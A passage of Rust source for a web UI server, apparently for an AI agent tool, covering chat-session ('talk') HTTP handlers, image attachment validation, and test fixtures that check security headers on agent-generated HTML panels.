3374 attachments: Vec<String>,
3375}
3376
3377#[derive(Debug, Deserialize)]
3378#[serde(deny_unknown_fields)]
3379struct EditTalkPending {
3380 text: String,
3381 expected_text: String,
3382 expected_attachments: Vec<String>,
3383}
3384
3385#[derive(Debug, Deserialize)]
3386#[serde(deny_unknown_fields)]
3387struct ClearTalkPending {
3388 expected_text: String,
3389 expected_attachments: Vec<String>,
3390}
3391
3392async fn talk_say(
3404 State(ui): State<Arc<Ui>>,
3405 Path(id): Path<String>,
3406 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3407) -> ApiResult<(StatusCode, Json<TalkView>)> {
3408 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3409 if body.text.trim().is_empty() && body.attachments.is_empty() {
3410 return Err(ApiError::bad_request("say something"));
3411 }
3412
3413 let id = {
3414 let ui = Arc::clone(&ui);
3415 let asked = id.clone();
3416 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3417 };
3418 {
3422 let ui = Arc::clone(&ui);
3423 let id = id.clone();
3424 blocking(move || {
3425 let talk = ui.talks.get(&id)?;
3426 if !talk.status.open() {
3427 return Err(ApiError::conflict(format!(
3428 "talk {} is {} and takes no more turns",
3429 talk.short(),
3430 talk.status.as_str()
3431 )));
3432 }
3433 Ok(())
3434 })
3435 .await?;
3436 }
3437
3438 let attachments = {
3443 let ui = Arc::clone(&ui);
3444 let id = id.clone();
3445 let ids = body.attachments.clone();
3446 blocking(move || {
3447 ids.into_iter()
3448 .map(|att_id| {
3449 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3450 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3451 })
3452 })
3453 .collect::<ApiResult<Vec<talk::Attachment>>>()
3454 })
3455 .await?
3456 };
3457
3458 let start = {
3463 let ui = Arc::clone(&ui);
3464 let id = id.clone();
3465 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3466 };
3467 let turn_guard = match start {
3468 TalkTurnStart::Claimed(turn_guard) => turn_guard,
3469 TalkTurnStart::Pending => {
3470 return Err(ApiError::conflict(
3471 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3472 ));
3473 }
3474 TalkTurnStart::Busy => {
3475 let (tx, rx) = tokio::sync::oneshot::channel();
3491 tokio::spawn({
3492 let ui = Arc::clone(&ui);
3493 let id = id.clone();
3494 let said = body.text.clone();
3495 async move {
3496 let written = blocking({
3497 let ui = Arc::clone(&ui);
3498 let id = id.clone();
3499 move || {
3500 let mut talk = ui.talks.get(&id)?;
3501 if let Err(error) =
3502 talk::queue(&mut talk, &ui.talks, &said, attachments)
3503 {
3504 if let Ok(fresh) = ui.talks.get(&id) {
3505 if !fresh.status.open() {
3506 return Err(ApiError::conflict(format!(
3507 "talk {} is {} and takes no more turns",
3508 fresh.short(),
3509 fresh.status.as_str()
3510 )));
3511 }
3512 }
3513 return Err(ApiError::from(error));
3514 }
3515 let claim = match ui.begin_queued_talk_turn(&id)? {
3526 Some(turn_guard) => {
3527 let (cfg, _) = Config::discover(&talk.repo, None)?;
3528 Some((talk.clone(), cfg, turn_guard))
3529 }
3530 None => None,
3531 };
3532 let thinking = ui.is_thinking(&id);
3533 Ok((TalkView::new(talk, thinking), claim))
3534 }
3535 })
3536 .await;
3537 let (view, reclaimed) = match written {
3538 Ok(pair) => pair,
3539 Err(e) => {
3540 let _ = tx.send(Err(e));
3545 return;
3546 }
3547 };
3548 let _ = tx.send(Ok(view));
3551 if let Some((talk, cfg, turn_guard)) = reclaimed {
3552 let talks = ui.talks.clone();
3553 drain_loop(talk, talks, cfg, id, turn_guard).await;
3554 }
3555 }
3556 });
3557 let view = rx
3558 .await
3559 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3560 return Ok((StatusCode::ACCEPTED, Json(view)));
3561 }
3562 };
3563
3564 let (talk, cfg) = {
3565 let ui = Arc::clone(&ui);
3566 let id = id.clone();
3567 blocking(move || {
3568 let talk = ui.talks.get(&id)?;
3569 let (cfg, _) = Config::discover(&talk.repo, None)?;
3570 Ok((talk, cfg))
3571 })
3572 .await?
3573 };
3574
3575 let talks = ui.talks.clone();
3576 let (tx, rx) = tokio::sync::oneshot::channel();
3591 tokio::spawn({
3592 let ui = Arc::clone(&ui);
3593 let talks = talks.clone();
3594 let id = id.clone();
3595 let said = body.text.clone();
3596 let mut talk = talk.clone();
3597 async move {
3598 let recorded = blocking({
3599 let talks = talks.clone();
3600 move || {
3601 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3602 if let Ok(fresh) = talks.get(&talk.id) {
3603 if !fresh.status.open() {
3604 return Err(ApiError::conflict(format!(
3605 "talk {} is {} and takes no more turns",
3606 fresh.short(),
3607 fresh.status.as_str()
3608 )));
3609 }
3610 }
3611 return Err(ApiError::from(error));
3612 }
3613 Ok((said.trim().to_owned(), talk))
3619 }
3620 })
3621 .await;
3622 let (text, mut talk) = match recorded {
3623 Ok(pair) => pair,
3624 Err(e) => {
3625 let _ = tx.send(Err(e));
3629 return;
3630 }
3631 };
3632 let queued = talk.clone();
3633 let thinking = ui.is_thinking(&id);
3634 let _ = tx.send(Ok((queued, thinking)));
3637
3638 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3639 tracing::warn!("talk {id} turn failed: {e:#}");
3643 }
3644 drain_loop(talk, talks, cfg, id, turn_guard).await;
3647 }
3648 });
3649
3650 let (queued, thinking) = rx
3651 .await
3652 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3653
3654 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3656}
3657
3658async fn talk_pending_resume(
3662 State(ui): State<Arc<Ui>>,
3663 Path(id): Path<String>,
3664) -> ApiResult<(StatusCode, Json<TalkView>)> {
3665 let id = {
3666 let ui = Arc::clone(&ui);
3667 let asked = id.clone();
3668 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3669 };
3670 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3671 return Err(ApiError::conflict(
3672 "a talk turn is already running; the queued draft will be handled by it",
3673 ));
3674 };
3675 let (talk, cfg) = {
3676 let ui = Arc::clone(&ui);
3677 let id = id.clone();
3678 blocking(move || {
3679 let talk = ui.talks.get(&id)?;
3680 if !talk.status.open() {
3681 return Err(ApiError::conflict(format!(
3682 "talk {} is {} and takes no more turns",
3683 talk.short(),
3684 talk.status.as_str()
3685 )));
3686 }
3687 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3688 return Err(ApiError::conflict("there is no queued draft to resume"));
3689 }
3690 let (cfg, _) = Config::discover(&talk.repo, None)?;
3691 Ok((talk, cfg))
3692 })
3693 .await?
3694 };
3695 let view = TalkView::new(talk.clone(), true);
3696 let talks = ui.talks.clone();
3697 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3698 Ok((StatusCode::ACCEPTED, Json(view)))
3699}
3700
3701async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3717 let live_set = Arc::clone(&turn.turns);
3718 let mut turn = Some(turn);
3726 loop {
3727 let observed = live_set
3731 .lock()
3732 .unwrap_or_else(PoisonError::into_inner)
3733 .queued
3734 .get(&id)
3735 .copied()
3736 .unwrap_or(0);
3737 let drained = blocking({
3738 let talks = talks.clone();
3739 move || {
3740 let result = talk::drain(&mut talk, &talks);
3741 Ok((talk, result))
3742 }
3743 })
3744 .await;
3745 let (next_talk, result) = match drained {
3746 Ok(drained) => drained,
3747 Err(e) => {
3748 tracing::warn!(
3749 status = %e.status,
3750 message = %e.message,
3751 "talk {id} could not start queued-text drain"
3752 );
3753 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3754 turn.take()
3755 .expect("held for the whole loop until released here")
3756 .release(&mut live);
3757 break;
3758 }
3759 };
3760 talk = next_talk;
3761 let drained = match result {
3762 Ok(Some(drained)) => drained,
3763 Ok(None) => {
3764 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3765 if live.queued.get(&id).copied().unwrap_or(0) != observed {
3766 continue;
3767 }
3768 turn.take()
3769 .expect("held for the whole loop until released here")
3770 .release(&mut live);
3771 break;
3772 }
3773 Err(e) => {
3774 tracing::warn!("talk {id} could not drain queued text: {e:#}");
3775 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3776 turn.take()
3777 .expect("held for the whole loop until released here")
3778 .release(&mut live);
3779 break;
3780 }
3781 };
3782 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3783 tracing::warn!("talk {id} turn failed: {e:#}");
3784 }
3785 }
3786}
3787
3788async fn talk_pending_clear(
3790 State(ui): State<Arc<Ui>>,
3791 Path(id): Path<String>,
3792 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3793) -> ApiResult<Json<TalkView>> {
3794 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3795 blocking(move || {
3796 let id = resolve_talk(&ui.talks, &id)?;
3797 let mut talk = ui.talks.get(&id)?;
3798 if !talk.status.open() {
3799 return Err(ApiError::conflict(format!(
3800 "talk {} is {} and takes no more turns",
3801 talk.short(),
3802 talk.status.as_str()
3803 )));
3804 }
3805 if !talk::clear_pending_if_matches(
3806 &mut talk,
3807 &ui.talks,
3808 &body.expected_text,
3809 &body.expected_attachments,
3810 )? {
3811 return Err(ApiError::conflict(
3812 "queued message changed; reload it before clearing",
3813 ));
3814 }
3815 let thinking = ui.is_thinking(&talk.id);
3816 Ok(Json(TalkView::new(talk, thinking)))
3817 })
3818 .await
3819}
3820
3821async fn talk_pending_edit(
3825 State(ui): State<Arc<Ui>>,
3826 Path(id): Path<String>,
3827 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3828) -> ApiResult<Json<TalkView>> {
3829 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3830 let (view, reclaimed) = blocking({
3831 let ui = Arc::clone(&ui);
3832 move || {
3833 let id = resolve_talk(&ui.talks, &id)?;
3834 let mut talk = ui.talks.get(&id)?;
3835 if !talk.status.open() {
3836 return Err(ApiError::conflict(format!(
3837 "talk {} is {} and takes no more turns",
3838 talk.short(),
3839 talk.status.as_str()
3840 )));
3841 }
3842 if !talk::edit_pending_text(
3843 &mut talk,
3844 &ui.talks,
3845 &body.text,
3846 &body.expected_text,
3847 &body.expected_attachments,
3848 )? {
3849 return Err(ApiError::conflict(
3850 "queued message changed; reload it before editing",
3851 ));
3852 }
3853 let claim = match ui.begin_queued_talk_turn(&id)? {
3854 Some(turn_guard) => {
3855 let (cfg, _) = Config::discover(&talk.repo, None)?;
3856 Some((talk.clone(), cfg, id.clone(), turn_guard))
3857 }
3858 None => None,
3859 };
3860 let thinking = ui.is_thinking(&id);
3861 Ok((TalkView::new(talk, thinking), claim))
3862 }
3863 })
3864 .await?;
3865 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
3866 let talks = ui.talks.clone();
3867 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3868 }
3869 Ok(Json(view))
3870}
3871
3872async fn talk_close(
3874 State(ui): State<Arc<Ui>>,
3875 Path(id): Path<String>,
3876) -> ApiResult<Json<TalkView>> {
3877 blocking(move || {
3878 let id = resolve_talk(&ui.talks, &id)?;
3879 let mut talk = ui.talks.get(&id)?;
3880 talk::close(&mut talk, &ui.talks)?;
3881 let thinking = ui.is_thinking(&talk.id);
3882 Ok(Json(TalkView::new(talk, thinking)))
3883 })
3884 .await
3885}
3886
3887async fn talk_reopen(
3889 State(ui): State<Arc<Ui>>,
3890 Path(id): Path<String>,
3891) -> ApiResult<Json<TalkView>> {
3892 blocking(move || {
3893 let id = resolve_talk(&ui.talks, &id)?;
3894 let mut talk = ui.talks.get(&id)?;
3895 talk::reopen(&mut talk, &ui.talks)?;
3896 let thinking = ui.is_thinking(&talk.id);
3897 Ok(Json(TalkView::new(talk, thinking)))
3898 })
3899 .await
3900}
3901
3902async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3912 blocking(move || {
3913 let id = resolve_talk(&ui.talks, &id)?;
3914 ui.talks.remove(&id)?;
3915 Ok(StatusCode::NO_CONTENT)
3916 })
3917 .await
3918}
3919
3920fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3922 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3923}
3924
3925async fn talk_attachment_post(
3928 State(ui): State<Arc<Ui>>,
3929 Path(id): Path<String>,
3930 headers: HeaderMap,
3931 body: Bytes,
3932) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
3933 let mime = validate_attachment(&headers, &body)?;
3934 let name = filename_header(&headers);
3935 let data = body.to_vec();
3936 blocking(move || {
3937 let id = resolve_talk(&ui.talks, &id)?;
3938 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
3939 Ok((StatusCode::CREATED, Json(att)))
3940 })
3941 .await
3942}
3943
3944async fn talk_attachment_get(
3947 State(ui): State<Arc<Ui>>,
3948 Path((id, att)): Path<(String, String)>,
3949) -> ApiResult<Response> {
3950 blocking(move || {
3951 let id = resolve_talk(&ui.talks, &id)?;
3952 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
3953 return Err(ApiError::not_found(format!(
3954 "talk {id} has no attachment `{att}`"
3955 )));
3956 };
3957 Ok(attachment_response(&meta.mime, data))
3958 })
3959 .await
3960}
3961
3962fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
3973 if data.len() > ATTACHMENT_MAX_BYTES {
3974 return Err(ApiError::bad_request(format!(
3975 "attachment is {} bytes, over the {} MiB limit",
3976 data.len(),
3977 ATTACHMENT_MAX_BYTES / (1024 * 1024)
3978 ))
3979 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
3980 }
3981 if data.is_empty() {
3982 return Err(ApiError::bad_request("attachment is empty"));
3983 }
3984 let declared = declared_mime(headers)?;
3985 match sniffed_mime(data) {
3986 Some(sniffed) if sniffed == declared => Ok(declared),
3987 Some(sniffed) => Err(ApiError::bad_request(format!(
3988 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
3989 ))),
3990 None => Err(ApiError::bad_request(
3991 "the file's bytes do not match any accepted image format",
3992 )),
3993 }
3994}
3995
3996fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4000 let raw = headers
4001 .get(header::CONTENT_TYPE)
4002 .and_then(|v| v.to_str().ok())
4003 .unwrap_or("")
4004 .split(';')
4005 .next()
4006 .unwrap_or("")
4007 .trim()
4008 .to_ascii_lowercase();
4009 ATTACHMENT_MIME_WHITELIST
4010 .iter()
4011 .find(|&&m| m == raw)
4012 .copied()
4013 .ok_or_else(|| {
4014 if raw == "image/svg+xml" {
4015 ApiError::bad_request(
4016 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4017 not just a picture",
4018 )
4019 } else if raw.is_empty() {
4020 ApiError::bad_request("Content-Type is required for an attachment upload")
4021 } else {
4022 ApiError::bad_request(format!(
4023 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4024 image/gif or image/webp"
4025 ))
4026 }
4027 })
4028}
4029
4030fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4033 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4034 Some("image/png")
4035 } else if data.starts_with(b"\xff\xd8\xff") {
4036 Some("image/jpeg")
4037 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4038 Some("image/gif")
4039 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4040 Some("image/webp")
4041 } else {
4042 None
4043 }
4044}
4045
4046fn filename_header(headers: &HeaderMap) -> String {
4052 headers
4053 .get(FILENAME_HEADER)
4054 .and_then(|v| v.to_str().ok())
4055 .map(str::trim)
4056 .filter(|s| !s.is_empty())
4057 .unwrap_or("attachment")
4058 .to_owned()
4059}
4060
4061fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4068 let content_type = ATTACHMENT_MIME_WHITELIST
4069 .iter()
4070 .find(|&&m| m == mime)
4071 .copied()
4072 .unwrap_or("application/octet-stream");
4073 (
4074 [
4075 (header::CONTENT_TYPE, content_type),
4076 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4077 ],
4078 body,
4079 )
4080 .into_response()
4081}
4082
4083async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4091 let repo = repo.to_path_buf();
4092 blocking(move || {
4093 let (cfg, _) = Config::discover(&repo, None)?;
4094 Ok(cfg)
4095 })
4096 .await
4097}
4098
4099fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4105 let mut hits = ids
4106 .into_iter()
4107 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4108 match (hits.next(), hits.next()) {
4109 (Some(one), None) => Ok(one),
4110 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4111 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4112 "`{prefix}` matches more than one {what}, including {a} and {b}"
4113 ))),
4114 }
4115}
4116
4117#[cfg(test)]
4118mod tests {
4119 use pretty_assertions::assert_eq;
4120 use serde_json::Value;
4121 use tempfile::TempDir;
4122 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4123
4124 use super::*;
4125 use crate::config::Config;
4126 use crate::queue::{Source, TaskStatus};
4127
4128 const SETTLE_STEPS: usize = 3_000;
4139
4140 struct Fixture {
4146 home: TempDir,
4147 addr: SocketAddr,
4148 }
4149
4150 impl Fixture {
4151 async fn start() -> Self {
4152 Self::with_loop(launch_idle).await
4153 }
4154
4155 async fn with_loop(launch: Launch) -> Self {
4157 let home = TempDir::new().expect("temp home");
4158 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4159 Self { home, addr }
4160 }
4161
4162 async fn with_repo(repo: PathBuf) -> Self {
4166 let home = TempDir::new().expect("temp home");
4167 let addr = Self::serve(home.path(), repo, launch_idle).await;
4168 Self { home, addr }
4169 }
4170
4171 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4172 let queue = Queue::at(home.join("queue"));
4173 let runs = home.join("runs");
4174 std::fs::create_dir_all(&runs).expect("runs dir");
4175 let worktrees = home.join("wt").join("magi");
4176 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4177 let ui = Ui::new(
4178 queue,
4179 Questions::at(home.join("questions")),
4180 Talks::at(home.join("talks")),
4181 runs,
4182 home.to_path_buf(),
4183 repo,
4184 )
4185 .with_worktrees_root(worktrees)
4186 .with_launch(launch);
4187 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4188 .await
4189 .expect("bind loopback");
4190 let addr = listener.local_addr().expect("local addr");
4191 tokio::spawn(async move {
4192 let _ = axum::serve(listener, ui.router()).await;
4193 });
4194 addr
4195 }
4196
4197 fn queue(&self) -> Queue {
4198 Queue::at(self.home.path().join("queue"))
4199 }
4200
4201 fn questions(&self) -> Questions {
4202 Questions::at(self.home.path().join("questions"))
4203 }
4204
4205 fn talks(&self) -> Talks {
4206 Talks::at(self.home.path().join("talks"))
4207 }
4208
4209 fn runs(&self) -> PathBuf {
4210 self.home.path().join("runs")
4211 }
4212
4213 async fn get(&self, path: &str) -> Res {
4214 request(self.addr, "GET", path, None).await
4215 }
4216
4217 async fn head(&self, path: &str) -> Res {
4222 request(self.addr, "HEAD", path, None).await
4223 }
4224
4225 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4226 request(self.addr, "POST", path, body).await
4227 }
4228
4229 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4230 request_with(self.addr, "GET", path, None, extra).await
4231 }
4232
4233 async fn delete(&self, path: &str) -> Res {
4234 request(self.addr, "DELETE", path, None).await
4235 }
4236
4237 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4239 request_bytes(self.addr, path, headers, body).await
4240 }
4241 }
4242
4243 struct Res {
4244 status: u16,
4245 headers: String,
4246 head: String,
4251 body: String,
4252 bytes: Vec<u8>,
4256 }
4257
4258 impl Res {
4259 fn json(&self) -> Value {
4260 serde_json::from_str(&self.body)
4261 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4262 }
4263
4264 fn header(&self, name: &str) -> Option<&str> {
4266 self.head.lines().find_map(|line| {
4267 let (key, value) = line.split_once(':')?;
4268 key.trim()
4269 .eq_ignore_ascii_case(name)
4270 .then(|| value.trim_start().trim_end_matches('\r'))
4271 })
4272 }
4273 }
4274
4275 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4278 request_with(addr, method, path, body, &[]).await
4279 }
4280
4281 async fn request_with(
4285 addr: SocketAddr,
4286 method: &str,
4287 path: &str,
4288 body: Option<&str>,
4289 extra: &[(&str, &str)],
4290 ) -> Res {
4291 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4292 for (name, value) in extra {
4293 head.push_str(&format!("{name}: {value}\r\n"));
4294 }
4295 if let Some(body) = body {
4296 head.push_str("Content-Type: application/json\r\n");
4297 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4298 }
4299 head.push_str("\r\n");
4300 if let Some(body) = body {
4301 head.push_str(body);
4302 }
4303 let mut socket = tokio::net::TcpStream::connect(addr)
4304 .await
4305 .expect("connect to the test server");
4306 socket
4307 .write_all(head.as_bytes())
4308 .await
4309 .expect("write request");
4310 let mut raw = Vec::new();
4311 socket.read_to_end(&mut raw).await.expect("read response");
4312 let split = raw
4315 .windows(4)
4316 .position(|w| w == b"\r\n\r\n")
4317 .expect("a header block");
4318 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4319 let bytes = raw[split + 4..].to_vec();
4320 let status = head
4321 .lines()
4322 .next()
4323 .and_then(|line| line.split_whitespace().nth(1))
4324 .and_then(|code| code.parse().ok())
4325 .expect("a status line");
4326 Res {
4327 status,
4328 headers: head.to_lowercase(),
4329 head,
4330 body: String::from_utf8_lossy(&bytes).into_owned(),
4331 bytes,
4332 }
4333 }
4334
4335 async fn request_bytes(
4341 addr: SocketAddr,
4342 path: &str,
4343 headers: &[(&str, &str)],
4344 body: &[u8],
4345 ) -> Res {
4346 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4347 for (name, value) in headers {
4348 head.push_str(&format!("{name}: {value}\r\n"));
4349 }
4350 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4351 let mut socket = tokio::net::TcpStream::connect(addr)
4352 .await
4353 .expect("connect to the test server");
4354 socket
4355 .write_all(head.as_bytes())
4356 .await
4357 .expect("write request head");
4358 socket.write_all(body).await.expect("write request body");
4359 let mut raw = Vec::new();
4360 socket.read_to_end(&mut raw).await.expect("read response");
4361 let split = raw
4362 .windows(4)
4363 .position(|w| w == b"\r\n\r\n")
4364 .expect("a header block");
4365 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4366 let bytes = raw[split + 4..].to_vec();
4367 let status = head
4368 .lines()
4369 .next()
4370 .and_then(|line| line.split_whitespace().nth(1))
4371 .and_then(|code| code.parse().ok())
4372 .expect("a status line");
4373 Res {
4374 status,
4375 headers: head.to_lowercase(),
4376 head,
4377 body: String::from_utf8_lossy(&bytes).into_owned(),
4378 bytes,
4379 }
4380 }
4381
4382 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4384 let mut state = RunState::new(
4385 PathBuf::from("/repo/magi"),
4386 "main".to_owned(),
4387 "0123456789abcdef".to_owned(),
4388 "Add a web UI\n\nMobile first.".to_owned(),
4389 Config::default(),
4390 );
4391 state.id = id.to_owned();
4392 state.status = status;
4393 let dir = runs.join(id);
4394 std::fs::create_dir_all(&dir).expect("run dir");
4395 std::fs::write(
4396 dir.join("run.json"),
4397 serde_json::to_string_pretty(&state).expect("serialize run"),
4398 )
4399 .expect("write run.json");
4400 }
4401
4402 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4403 let body = serde_json::json!({
4404 "schema": 1,
4405 "pid": 4242,
4406 "started_at": Timestamp::now().to_string(),
4407 "updated_at": updated_at.to_string(),
4408 "idle": false,
4409 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4410 "completed": 7,
4411 "polls": 143,
4412 });
4413 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4414 }
4415
4416 fn launch_idle(
4426 _opts: daemon::Opts,
4427 stop: daemon::Stop,
4428 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4429 Box::pin(async move {
4430 while !stop.stopped() {
4431 tokio::time::sleep(Duration::from_millis(2)).await;
4432 }
4433 Ok(())
4434 })
4435 }
4436
4437 fn launch_broken(
4440 _opts: daemon::Opts,
4441 _stop: daemon::Stop,
4442 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4443 Box::pin(async {
4444 Err(anyhow::anyhow!(
4445 "publish the daemon status file: read-only file system"
4446 ))
4447 })
4448 }
4449
4450 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4457 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4458
4459 fn launch_knocking_on_the_way_out(
4466 _opts: daemon::Opts,
4467 stop: daemon::Stop,
4468 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4469 Box::pin(async move {
4470 while !stop.stopped() {
4471 tokio::time::sleep(Duration::from_millis(2)).await;
4472 }
4473 let addr = PARK_KNOCK
4474 .lock()
4475 .expect("park knock")
4476 .expect("the test set an address");
4477 let heard = request(addr, "GET", "/api/health", None).await.status;
4478 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4479 Ok(())
4480 })
4481 }
4482
4483 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4492 for _ in 0..SETTLE_STEPS {
4493 let view = fx.get("/api/loop").await.json();
4494 if want(&view) {
4495 return view;
4496 }
4497 tokio::time::sleep(Duration::from_millis(10)).await;
4498 }
4499 panic!(
4500 "the loop never settled: {}",
4501 fx.get("/api/loop").await.json()
4502 );
4503 }
4504
4505 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4507 let store = fx.questions();
4508 let mut q = Question::new(
4509 "20260902-000000-beef".to_owned(),
4510 "implement".to_owned(),
4511 "impl-A".to_owned(),
4512 summary.to_owned(),
4513 "because it matters".to_owned(),
4514 choices.iter().map(|c| (*c).to_owned()).collect(),
4515 );
4516 store.put(&mut q).expect("put question");
4517 q.id
4518 }
4519
4520 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4526 let store = fx.questions();
4527 let mut q = Question::new(
4528 "20260902-000000-beef".to_owned(),
4529 "land".to_owned(),
4530 "fix".to_owned(),
4531 "Merge this?".to_owned(),
4532 "the diff is in the panel".to_owned(),
4533 vec!["merge".to_owned(), "hold".to_owned()],
4534 );
4535 let staging = fx.home.path().join("staging");
4538 std::fs::create_dir_all(&staging).expect("staging dir");
4539 let sources: Vec<PathBuf> = assets
4540 .iter()
4541 .map(|(name, bytes)| {
4542 let path = staging.join(name);
4543 std::fs::write(&path, bytes).expect("write staged asset");
4544 path
4545 })
4546 .collect();
4547 store
4548 .put_panel(&mut q, html, &sources)
4549 .expect("write the panel");
4550 store.put(&mut q).expect("put question");
4551 q.id
4552 }
4553
4554 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4563 let store = fx.talks();
4564 std::fs::create_dir_all(store.root()).expect("talks dir");
4565 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4566 .expect("serialize a seat");
4567 let body = serde_json::json!({
4568 "schema": 1,
4569 "id": id,
4570 "repo": "/repo/magi",
4571 "agent": "mock",
4572 "status": status,
4573 "turns": [],
4574 "created_at": Timestamp::now().to_string(),
4575 "updated_at": Timestamp::now().to_string(),
4576 "seat": seat,
4577 });
4578 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4579 store.get(id).expect("the seeded talk has to be readable");
4580 id.to_owned()
4581 }
4582
4583 #[tokio::test]
4584 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4585 let fx = Fixture::start().await;
4586 let id = panel(
4587 &fx,
4588 "<h1>Merge?</h1><img src=\"diff.svg\">",
4589 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4590 );
4591
4592 for path in [
4593 format!("/api/questions/{id}/panel"),
4594 format!("/api/questions/{id}/asset/diff.svg"),
4595 ] {
4596 let res = fx.get(&path).await;
4597 assert_eq!(res.status, 200, "{path}: {}", res.body);
4598 assert_eq!(
4604 res.header("content-security-policy"),
4605 Some(
4606 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4607 font-src data:; base-uri 'none'; form-action 'none'; \
4608 frame-ancestors 'self'"
4609 ),
4610 "{path} is the only thing between a hostile panel and the tailnet"
4611 );
4612 assert_eq!(
4613 res.header("x-content-type-options"),
4614 Some("nosniff"),
4615 "{path}: a browser must not re-decide the type we sent"
4616 );
4617 assert_eq!(
4618 res.header("referrer-policy"),
4619 Some("no-referrer"),
4620 "{path}: a panel must not leak the question id off the machine"
4621 );
4622
4623 let pre = fx.head(&path).await;
4628 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4629 assert_eq!(
4630 pre.header("content-security-policy"),
4631 res.header("content-security-policy"),
4632 "{path}: the preflight carries the same policy"
4633 );
4634 assert_eq!(
4635 pre.header("content-type"),
4636 res.header("content-type"),
4637 "{path}: the preflight carries the same type"
4638 );
4639 }
4640 }
4641
4642 #[tokio::test]
